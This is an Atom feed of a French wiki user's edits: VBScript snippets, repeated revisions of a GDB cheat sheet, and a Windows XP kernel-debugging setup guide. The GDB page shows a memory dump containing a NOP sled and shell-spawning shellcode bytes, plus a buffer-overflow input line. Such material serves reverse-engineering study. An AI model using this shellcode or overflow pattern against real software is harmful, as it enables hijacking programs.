<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://futex.re/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Futex</id>
	<title>UnixWiki - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://futex.re/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Futex"/>
	<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php/Sp%C3%A9cial:Contributions/Futex"/>
	<updated>2026-04-22T02:30:57Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.17</generator>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2608</id>
		<title>VBScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2608"/>
		<updated>2019-02-15T11:10:31Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   Wscript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=CreateObject(&amp;quot;WScript.Shell&amp;quot;).SpecialFolders(&amp;quot;Desktop&amp;quot;) + &amp;quot;\stage1.txt&amp;quot;&lt;br /&gt;
   Set objFile = objFSO.CreateTextFile(outFile,True)&lt;br /&gt;
   objFile.WriteLine variable&lt;br /&gt;
&lt;br /&gt;
Append in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=CreateObject(&amp;quot;WScript.Shell&amp;quot;).SpecialFolders(&amp;quot;Desktop&amp;quot;) + &amp;quot;\stage2.txt&amp;quot;&lt;br /&gt;
   Set objFile = objFSO.OpenTextFile(outFile, 8, True)&lt;br /&gt;
   objFile.WriteLine variable&lt;br /&gt;
&lt;br /&gt;
If you can&#039;t see all the variable value with the watch point, you can open immediate window View--&amp;gt; Intermediate Window or CTRL-G and type&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
debug.print VARIABLE_NAME&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy variable into the clipboard&lt;br /&gt;
   Set objIE = CreateObject(&amp;quot;InternetExplorer.Application&amp;quot;)&lt;br /&gt;
   objIE.Visible = False&lt;br /&gt;
   objIE.Navigate(&amp;quot;about:blank&amp;quot;)&lt;br /&gt;
   objIE.document.parentwindow.clipboardData.SetData &amp;quot;text&amp;quot;, host&lt;br /&gt;
   objIE.Quit&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2607</id>
		<title>Introduction à GDB</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2607"/>
		<updated>2018-11-19T13:15:35Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Bases ==&lt;br /&gt;
  $ gdb $prog                // Chargement d&#039;un binaire:&lt;br /&gt;
  (gdb) r 123                // Lancement du programme avec comme paramètre 123&lt;br /&gt;
  (gdb) s ou stepi           // Avancer à la prochaine instruction, en entrant dans les fonctions&lt;br /&gt;
  (gdb) n ou nexti           // Avancer à la prochaine instruction sans entrer dans les fonctions&lt;br /&gt;
  (gdb) c                    // Continue l&#039;exécution après un breackpoint par exemple&lt;br /&gt;
  (gdb) disass function_foo  // Désassemble la fonction function_foo&lt;br /&gt;
  (gdb) disass               // Désassemble tous&lt;br /&gt;
  (gdb) q                    // Quitter&lt;br /&gt;
&lt;br /&gt;
== Les breackpoints ==&lt;br /&gt;
  (gdb) b                    // Pose un breackpoint sur la ligne courante.&lt;br /&gt;
  (gdb) b main               // Pose un breackpoint sur la fonction main&lt;br /&gt;
  (gdb) b *0xdeadbeef        // Pose un breackpoint sur l&#039;adresse mémoire 0xdeadbeef&lt;br /&gt;
  (gdb) hb *0xdeadbeef       // Pose un hardware breackpoint&lt;br /&gt;
  (gdb) i b                  // liste tout type de breackpoints&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Les registres CPU ==&lt;br /&gt;
  (gdb) i f                  // Renvois l&#039;état de la sauvegarde des registre EBP, EIP et leurs adresses en mémoire&lt;br /&gt;
  (gdb) i r                  // Renvoi l&#039;état des registres&lt;br /&gt;
  (gdb) info all-registers   // Affiche tous les registres&lt;br /&gt;
  (gdb) print $eax           // Affiche le contenu du registre eax&lt;br /&gt;
  (gdb) set $eax=128         // Force le registre eax à 128&lt;br /&gt;
&lt;br /&gt;
== La mémoire ==&lt;br /&gt;
&lt;br /&gt;
  (gdb) x/500x 0x41414141    // Dump de la mémoire à partir de l&#039;adresse 0x41414141&lt;br /&gt;
  (gdb) x/26x 0xbffff8c2     // Dump de 26*4 octets à partir de l&#039;adresse 0xbffff8c2&lt;br /&gt;
  0xbffff8c2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8d2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8e2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8f2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff902:     0x90909090      0x90909090      0xc0319990      0x2f6e6852&lt;br /&gt;
  0xbffff912:     0x2f686873      0x8969622f      0x895352e3      0xcd0bb0e1&lt;br /&gt;
  0xbffff922:     0xfff8c280      0x535300bf&lt;br /&gt;
  gdb) x/500x $esp          // Dump de la mémoire à partir de la position pointé par ESP, c&#039;est à dire en haut de la stack&lt;br /&gt;
  gdb) vmmap // affiche les segments mémoire du progz&lt;br /&gt;
  gdb) dumpmem out 0x41414141 // dump de la mémoire&lt;br /&gt;
&lt;br /&gt;
== Les process ==&lt;br /&gt;
  (gdb) attach 4009        // Attacher un PID (4009)&lt;br /&gt;
  (gdb) info proc          // Informations sur le process&lt;br /&gt;
  (gdb) info func     // Informations sur les fonctions&lt;br /&gt;
  (gdb)set follow-fork-mode child // pour suivre le processus fils au moment du fork&lt;br /&gt;
&lt;br /&gt;
== Tips ==&lt;br /&gt;
Passer le zeroflag à zéro &lt;br /&gt;
  (gdb) set $eflags = $eflags | 64&lt;br /&gt;
&lt;br /&gt;
Afficher les flags&lt;br /&gt;
  (gdb)info registers eflags &lt;br /&gt;
&lt;br /&gt;
Modifier l&#039;affichage de l&#039;ASM&lt;br /&gt;
&lt;br /&gt;
  set disassembly-flavor intel&lt;br /&gt;
ou&lt;br /&gt;
  set disassembly-flavor att&lt;br /&gt;
&lt;br /&gt;
&amp;quot;piper&amp;quot; une commande dans gdb&lt;br /&gt;
  r &amp;lt;&amp;lt;&amp;lt; $(python -c &#039;print &amp;quot;A&amp;quot;*280 + &amp;quot;BBBB&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP au programme&lt;br /&gt;
  handle SIGTRAP pass nostop&lt;br /&gt;
&lt;br /&gt;
Restaurer l&#039;execution&lt;br /&gt;
  signal SIGTRAP&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP a GDB&lt;br /&gt;
  handle SIGTRAP nopass stop&lt;br /&gt;
&lt;br /&gt;
== Remote debugging ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine distante&lt;br /&gt;
&lt;br /&gt;
  gdbserver :5039 binary&lt;br /&gt;
&lt;br /&gt;
Si necessaire forwarder le port sur la machine local&lt;br /&gt;
  adb forward tcp:5039 tcp:5039&lt;br /&gt;
&lt;br /&gt;
lancer gdb&lt;br /&gt;
  gdb binary&lt;br /&gt;
ou&lt;br /&gt;
  gdb-multiarch -q -nx binary&lt;br /&gt;
&lt;br /&gt;
taper:&lt;br /&gt;
  gdb$ target remote :5039&lt;br /&gt;
&lt;br /&gt;
== How to Peda ==&lt;br /&gt;
[https://eugenekolo.com/blog/better-disassembly-with-gdb-peda/ Peda]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2606</id>
		<title>Introduction à GDB</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2606"/>
		<updated>2018-11-19T13:14:08Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* How to Peda */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Bases ==&lt;br /&gt;
  $ gdb $prog                // Chargement d&#039;un binaire:&lt;br /&gt;
  (gdb) r 123                // Lancement du programme avec comme paramètre 123&lt;br /&gt;
  (gdb) s ou stepi           // Avancer à la prochaine instruction, en entrant dans les fonctions&lt;br /&gt;
  (gdb) n ou nexti           // Avancer à la prochaine instruction sans entrer dans les fonctions&lt;br /&gt;
  (gdb) c                    // Continue l&#039;exécution après un breackpoint par exemple&lt;br /&gt;
  (gdb) disass function_foo  // Désassemble la fonction function_foo&lt;br /&gt;
  (gdb) disass               // Désassemble tous&lt;br /&gt;
  (gdb) q                    // Quitter&lt;br /&gt;
&lt;br /&gt;
== Les breackpoints ==&lt;br /&gt;
  (gdb) b                    // Pose un breackpoint sur la ligne courante.&lt;br /&gt;
  (gdb) b main               // Pose un breackpoint sur la fonction main&lt;br /&gt;
  (gdb) b *0xdeadbeef        // Pose un breackpoint sur l&#039;adresse mémoire 0xdeadbeef&lt;br /&gt;
  (gdb) hb *0xdeadbeef       // Pose un hardware breackpoint&lt;br /&gt;
  (gdb) i b                  // liste tout type de breackpoints&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Les registres CPU ==&lt;br /&gt;
  (gdb) i f                  // Renvois l&#039;état de la sauvegarde des registre EBP, EIP et leurs adresses en mémoire&lt;br /&gt;
  (gdb) i r                  // Renvoi l&#039;état des registres&lt;br /&gt;
  (gdb) info all-registers   // Affiche tous les registres&lt;br /&gt;
  (gdb) print $eax           // Affiche le contenu du registre eax&lt;br /&gt;
  (gdb) set $eax=128         // Force le registre eax à 128&lt;br /&gt;
&lt;br /&gt;
== La mémoire ==&lt;br /&gt;
&lt;br /&gt;
  (gdb) x/500x 0x41414141    // Dump de la mémoire à partir de l&#039;adresse 0x41414141&lt;br /&gt;
  (gdb) x/26x 0xbffff8c2     // Dump de 26*4 octets à partir de l&#039;adresse 0xbffff8c2&lt;br /&gt;
  0xbffff8c2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8d2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8e2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8f2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff902:     0x90909090      0x90909090      0xc0319990      0x2f6e6852&lt;br /&gt;
  0xbffff912:     0x2f686873      0x8969622f      0x895352e3      0xcd0bb0e1&lt;br /&gt;
  0xbffff922:     0xfff8c280      0x535300bf&lt;br /&gt;
  gdb) x/500x $esp          // Dump de la mémoire à partir de la position pointé par ESP, c&#039;est à dire en haut de la stack&lt;br /&gt;
  gdb) vmmap // affiche les segments mémoire du progz&lt;br /&gt;
  gdb) dumpmem out 0x41414141 // dump de la mémoire&lt;br /&gt;
&lt;br /&gt;
== Les process ==&lt;br /&gt;
  (gdb) attach 4009        // Attacher un PID (4009)&lt;br /&gt;
  (gdb) info proc          // Informations sur le process&lt;br /&gt;
  (gdb) info func     // Informations sur les fonctions&lt;br /&gt;
  (gdb)set follow-fork-mode child // pour suivre le processus fils au moment du fork&lt;br /&gt;
&lt;br /&gt;
== Tips ==&lt;br /&gt;
Passer le zeroflag à zéro &lt;br /&gt;
  (gdb) set $eflags = $eflags | 64&lt;br /&gt;
&lt;br /&gt;
Afficher les flags&lt;br /&gt;
  (gdb)info registers eflags &lt;br /&gt;
&lt;br /&gt;
Modifier l&#039;affichage de l&#039;ASM&lt;br /&gt;
&lt;br /&gt;
  set disassembly-flavor intel&lt;br /&gt;
ou&lt;br /&gt;
  set disassembly-flavor att&lt;br /&gt;
&lt;br /&gt;
&amp;quot;piper&amp;quot; une commande dans gdb&lt;br /&gt;
  r &amp;lt;&amp;lt;&amp;lt; $(python -c &#039;print &amp;quot;A&amp;quot;*280 + &amp;quot;BBBB&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP au programme&lt;br /&gt;
  handle SIGTRAP pass nostop&lt;br /&gt;
&lt;br /&gt;
Restaurer l&#039;execution&lt;br /&gt;
  signal SIGTRAP&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP a GDB&lt;br /&gt;
  handle SIGTRAP nopass stop&lt;br /&gt;
&lt;br /&gt;
== Remote debugging ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine distante&lt;br /&gt;
&lt;br /&gt;
  gdbserver :5039 binary&lt;br /&gt;
&lt;br /&gt;
Si necessaire forwarder le port sur la machine local&lt;br /&gt;
  adb forward tcp:5039 tcp:5039&lt;br /&gt;
&lt;br /&gt;
lancer gdb&lt;br /&gt;
  gdb binary&lt;br /&gt;
ou&lt;br /&gt;
  gdb-multiarch -q -nx binary&lt;br /&gt;
&lt;br /&gt;
taper:&lt;br /&gt;
  gdb$ target remote :5039&lt;br /&gt;
&lt;br /&gt;
== How to Peda ==&lt;br /&gt;
[[Peda https://eugenekolo.com/blog/better-disassembly-with-gdb-peda/]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2605</id>
		<title>Introduction à GDB</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2605"/>
		<updated>2018-11-19T13:13:48Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Bases ==&lt;br /&gt;
  $ gdb $prog                // Chargement d&#039;un binaire:&lt;br /&gt;
  (gdb) r 123                // Lancement du programme avec comme paramètre 123&lt;br /&gt;
  (gdb) s ou stepi           // Avancer à la prochaine instruction, en entrant dans les fonctions&lt;br /&gt;
  (gdb) n ou nexti           // Avancer à la prochaine instruction sans entrer dans les fonctions&lt;br /&gt;
  (gdb) c                    // Continue l&#039;exécution après un breackpoint par exemple&lt;br /&gt;
  (gdb) disass function_foo  // Désassemble la fonction function_foo&lt;br /&gt;
  (gdb) disass               // Désassemble tous&lt;br /&gt;
  (gdb) q                    // Quitter&lt;br /&gt;
&lt;br /&gt;
== Les breackpoints ==&lt;br /&gt;
  (gdb) b                    // Pose un breackpoint sur la ligne courante.&lt;br /&gt;
  (gdb) b main               // Pose un breackpoint sur la fonction main&lt;br /&gt;
  (gdb) b *0xdeadbeef        // Pose un breackpoint sur l&#039;adresse mémoire 0xdeadbeef&lt;br /&gt;
  (gdb) hb *0xdeadbeef       // Pose un hardware breackpoint&lt;br /&gt;
  (gdb) i b                  // liste tout type de breackpoints&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Les registres CPU ==&lt;br /&gt;
  (gdb) i f                  // Renvois l&#039;état de la sauvegarde des registre EBP, EIP et leurs adresses en mémoire&lt;br /&gt;
  (gdb) i r                  // Renvoi l&#039;état des registres&lt;br /&gt;
  (gdb) info all-registers   // Affiche tous les registres&lt;br /&gt;
  (gdb) print $eax           // Affiche le contenu du registre eax&lt;br /&gt;
  (gdb) set $eax=128         // Force le registre eax à 128&lt;br /&gt;
&lt;br /&gt;
== La mémoire ==&lt;br /&gt;
&lt;br /&gt;
  (gdb) x/500x 0x41414141    // Dump de la mémoire à partir de l&#039;adresse 0x41414141&lt;br /&gt;
  (gdb) x/26x 0xbffff8c2     // Dump de 26*4 octets à partir de l&#039;adresse 0xbffff8c2&lt;br /&gt;
  0xbffff8c2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8d2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8e2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8f2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff902:     0x90909090      0x90909090      0xc0319990      0x2f6e6852&lt;br /&gt;
  0xbffff912:     0x2f686873      0x8969622f      0x895352e3      0xcd0bb0e1&lt;br /&gt;
  0xbffff922:     0xfff8c280      0x535300bf&lt;br /&gt;
  gdb) x/500x $esp          // Dump de la mémoire à partir de la position pointé par ESP, c&#039;est à dire en haut de la stack&lt;br /&gt;
  gdb) vmmap // affiche les segments mémoire du progz&lt;br /&gt;
  gdb) dumpmem out 0x41414141 // dump de la mémoire&lt;br /&gt;
&lt;br /&gt;
== Les process ==&lt;br /&gt;
  (gdb) attach 4009        // Attacher un PID (4009)&lt;br /&gt;
  (gdb) info proc          // Informations sur le process&lt;br /&gt;
  (gdb) info func     // Informations sur les fonctions&lt;br /&gt;
  (gdb)set follow-fork-mode child // pour suivre le processus fils au moment du fork&lt;br /&gt;
&lt;br /&gt;
== Tips ==&lt;br /&gt;
Passer le zeroflag à zéro &lt;br /&gt;
  (gdb) set $eflags = $eflags | 64&lt;br /&gt;
&lt;br /&gt;
Afficher les flags&lt;br /&gt;
  (gdb)info registers eflags &lt;br /&gt;
&lt;br /&gt;
Modifier l&#039;affichage de l&#039;ASM&lt;br /&gt;
&lt;br /&gt;
  set disassembly-flavor intel&lt;br /&gt;
ou&lt;br /&gt;
  set disassembly-flavor att&lt;br /&gt;
&lt;br /&gt;
&amp;quot;piper&amp;quot; une commande dans gdb&lt;br /&gt;
  r &amp;lt;&amp;lt;&amp;lt; $(python -c &#039;print &amp;quot;A&amp;quot;*280 + &amp;quot;BBBB&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP au programme&lt;br /&gt;
  handle SIGTRAP pass nostop&lt;br /&gt;
&lt;br /&gt;
Restaurer l&#039;execution&lt;br /&gt;
  signal SIGTRAP&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP a GDB&lt;br /&gt;
  handle SIGTRAP nopass stop&lt;br /&gt;
&lt;br /&gt;
== Remote debugging ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine distante&lt;br /&gt;
&lt;br /&gt;
  gdbserver :5039 binary&lt;br /&gt;
&lt;br /&gt;
Si necessaire forwarder le port sur la machine local&lt;br /&gt;
  adb forward tcp:5039 tcp:5039&lt;br /&gt;
&lt;br /&gt;
lancer gdb&lt;br /&gt;
  gdb binary&lt;br /&gt;
ou&lt;br /&gt;
  gdb-multiarch -q -nx binary&lt;br /&gt;
&lt;br /&gt;
taper:&lt;br /&gt;
  gdb$ target remote :5039&lt;br /&gt;
&lt;br /&gt;
== How to Peda ==&lt;br /&gt;
[[https://eugenekolo.com/blog/better-disassembly-with-gdb-peda/]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2604</id>
		<title>Introduction à GDB</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Introduction_%C3%A0_GDB&amp;diff=2604"/>
		<updated>2018-11-19T13:12:12Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Bases ==&lt;br /&gt;
  $ gdb $prog                // Chargement d&#039;un binaire:&lt;br /&gt;
  (gdb) r 123                // Lancement du programme avec comme paramètre 123&lt;br /&gt;
  (gdb) s ou stepi           // Avancer à la prochaine instruction, en entrant dans les fonctions&lt;br /&gt;
  (gdb) n ou nexti           // Avancer à la prochaine instruction sans entrer dans les fonctions&lt;br /&gt;
  (gdb) c                    // Continue l&#039;exécution après un breackpoint par exemple&lt;br /&gt;
  (gdb) disass function_foo  // Désassemble la fonction function_foo&lt;br /&gt;
  (gdb) disass               // Désassemble tous&lt;br /&gt;
  (gdb) q                    // Quitter&lt;br /&gt;
&lt;br /&gt;
== Les breackpoints ==&lt;br /&gt;
  (gdb) b                    // Pose un breackpoint sur la ligne courante.&lt;br /&gt;
  (gdb) b main               // Pose un breackpoint sur la fonction main&lt;br /&gt;
  (gdb) b *0xdeadbeef        // Pose un breackpoint sur l&#039;adresse mémoire 0xdeadbeef&lt;br /&gt;
  (gdb) hb *0xdeadbeef       // Pose un hardware breackpoint&lt;br /&gt;
  (gdb) i b                  // liste tout type de breackpoints&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Les registres CPU ==&lt;br /&gt;
  (gdb) i f                  // Renvois l&#039;état de la sauvegarde des registre EBP, EIP et leurs adresses en mémoire&lt;br /&gt;
  (gdb) i r                  // Renvoi l&#039;état des registres&lt;br /&gt;
  (gdb) info all-registers   // Affiche tous les registres&lt;br /&gt;
  (gdb) print $eax           // Affiche le contenu du registre eax&lt;br /&gt;
  (gdb) set $eax=128         // Force le registre eax à 128&lt;br /&gt;
&lt;br /&gt;
== La mémoire ==&lt;br /&gt;
&lt;br /&gt;
  (gdb) x/500x 0x41414141    // Dump de la mémoire à partir de l&#039;adresse 0x41414141&lt;br /&gt;
  (gdb) x/26x 0xbffff8c2     // Dump de 26*4 octets à partir de l&#039;adresse 0xbffff8c2&lt;br /&gt;
  0xbffff8c2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8d2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8e2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff8f2:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;
  0xbffff902:     0x90909090      0x90909090      0xc0319990      0x2f6e6852&lt;br /&gt;
  0xbffff912:     0x2f686873      0x8969622f      0x895352e3      0xcd0bb0e1&lt;br /&gt;
  0xbffff922:     0xfff8c280      0x535300bf&lt;br /&gt;
  gdb) x/500x $esp          // Dump de la mémoire à partir de la position pointé par ESP, c&#039;est à dire en haut de la stack&lt;br /&gt;
  gdb) vmmap // affiche les segments mémoire du progz&lt;br /&gt;
  gdb) dumpmem out 0x41414141 // dump de la mémoire&lt;br /&gt;
&lt;br /&gt;
== Les process ==&lt;br /&gt;
  (gdb) attach 4009        // Attacher un PID (4009)&lt;br /&gt;
  (gdb) info proc          // Informations sur le process&lt;br /&gt;
  (gdb) info func     // Informations sur les fonctions&lt;br /&gt;
  (gdb)set follow-fork-mode child // pour suivre le processus fils au moment du fork&lt;br /&gt;
&lt;br /&gt;
== Tips ==&lt;br /&gt;
Passer le zeroflag à zéro &lt;br /&gt;
  (gdb) set $eflags = $eflags | 64&lt;br /&gt;
&lt;br /&gt;
Afficher les flags&lt;br /&gt;
  (gdb)info registers eflags &lt;br /&gt;
&lt;br /&gt;
Modifier l&#039;affichage de l&#039;ASM&lt;br /&gt;
&lt;br /&gt;
  set disassembly-flavor intel&lt;br /&gt;
ou&lt;br /&gt;
  set disassembly-flavor att&lt;br /&gt;
&lt;br /&gt;
&amp;quot;piper&amp;quot; une commande dans gdb&lt;br /&gt;
  r &amp;lt;&amp;lt;&amp;lt; $(python -c &#039;print &amp;quot;A&amp;quot;*280 + &amp;quot;BBBB&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP au programme&lt;br /&gt;
  handle SIGTRAP pass nostop&lt;br /&gt;
&lt;br /&gt;
Restaurer l&#039;execution&lt;br /&gt;
  signal SIGTRAP&lt;br /&gt;
&lt;br /&gt;
Passer les signaux SIGTRAP a GDB&lt;br /&gt;
  handle SIGTRAP nopass stop&lt;br /&gt;
&lt;br /&gt;
== Remote debugging ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine distante&lt;br /&gt;
&lt;br /&gt;
  gdbserver :5039 binary&lt;br /&gt;
&lt;br /&gt;
Si necessaire forwarder le port sur la machine local&lt;br /&gt;
  adb forward tcp:5039 tcp:5039&lt;br /&gt;
&lt;br /&gt;
lancer gdb&lt;br /&gt;
  gdb binary&lt;br /&gt;
ou&lt;br /&gt;
  gdb-multiarch -q -nx binary&lt;br /&gt;
&lt;br /&gt;
taper:&lt;br /&gt;
  gdb$ target remote :5039&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Kernel_Debug&amp;diff=2603</id>
		<title>Kernel Debug</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Kernel_Debug&amp;diff=2603"/>
		<updated>2018-10-10T12:49:54Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* Kernel Debug on a WinXP machine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Kernel Debug on a WinXP machine ==&lt;br /&gt;
In the debugger machine create a host pipe (don&#039;t check auto connect to pipe, virtualbox will automatically create the pipe in /tmp/dbg)&lt;br /&gt;
[[Fichier:Debugger.png]]&lt;br /&gt;
&lt;br /&gt;
In the debuggee machine set the host pipe path, and check the host pipe autoconnect)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Debuggee.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Add these line in c:\boot.init of the debugee machine&lt;br /&gt;
&lt;br /&gt;
  [boot loader]&lt;br /&gt;
  timeout=30&lt;br /&gt;
  default=multi(0)disk(0)rdisk(0)partition(1)\WINXP&lt;br /&gt;
  [operating systems]&lt;br /&gt;
  multi(0)disk(0)rdisk(0)partition(1)\WINXP=&amp;quot;Microsoft Windows XP Professional&amp;quot; /noexecute=optin /fastdetect /debugport=COM1 /baudrate=115200&lt;br /&gt;
&lt;br /&gt;
On the debugger machine, launch Windbg in admin press ctrl + k or File -&amp;gt; kernel debug, dont check pipe and reconnect option or it will failed&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Windbg.png]]&lt;br /&gt;
&lt;br /&gt;
Now start the debuggee VM, it should be run.&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Kernel_Debug&amp;diff=2602</id>
		<title>Kernel Debug</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Kernel_Debug&amp;diff=2602"/>
		<updated>2018-10-10T12:49:32Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « == Kernel Debug on a WinXP machine == In the debugger machine create a host pipe (don&amp;#039;t check auto connect to pipe, virtualbox will automatically create the pipe in /tmp/d... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Kernel Debug on a WinXP machine ==&lt;br /&gt;
In the debugger machine create a host pipe (don&#039;t check auto connect to pipe, virtualbox will automatically create the pipe in /tmp/dbg)&lt;br /&gt;
[[Fichier:Debugger.png]]&lt;br /&gt;
&lt;br /&gt;
In the debuggee machine set the host pipe path, and check the host pipe autoconnect)&lt;br /&gt;
[[Fichier:Debuggee.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Add these line in c:\boot.init of the debugee machine&lt;br /&gt;
&lt;br /&gt;
  [boot loader]&lt;br /&gt;
  timeout=30&lt;br /&gt;
  default=multi(0)disk(0)rdisk(0)partition(1)\WINXP&lt;br /&gt;
  [operating systems]&lt;br /&gt;
  multi(0)disk(0)rdisk(0)partition(1)\WINXP=&amp;quot;Microsoft Windows XP Professional&amp;quot; /noexecute=optin /fastdetect /debugport=COM1 /baudrate=115200&lt;br /&gt;
&lt;br /&gt;
On the debugger machine, launch Windbg in admin press ctrl + k or File -&amp;gt; kernel debug, dont check pipe and reconnect option or it will failed&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Windbg.png]]&lt;br /&gt;
&lt;br /&gt;
Now start the debuggee VM, it should be run.&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Fichier:Windbg.png&amp;diff=2601</id>
		<title>Fichier:Windbg.png</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Fichier:Windbg.png&amp;diff=2601"/>
		<updated>2018-10-10T12:48:32Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Fichier:Debugger.png&amp;diff=2600</id>
		<title>Fichier:Debugger.png</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Fichier:Debugger.png&amp;diff=2600"/>
		<updated>2018-10-10T12:43:48Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Fichier:Debuggee.png&amp;diff=2599</id>
		<title>Fichier:Debuggee.png</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Fichier:Debuggee.png&amp;diff=2599"/>
		<updated>2018-10-10T12:43:10Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Reverse&amp;diff=2598</id>
		<title>Reverse</title>
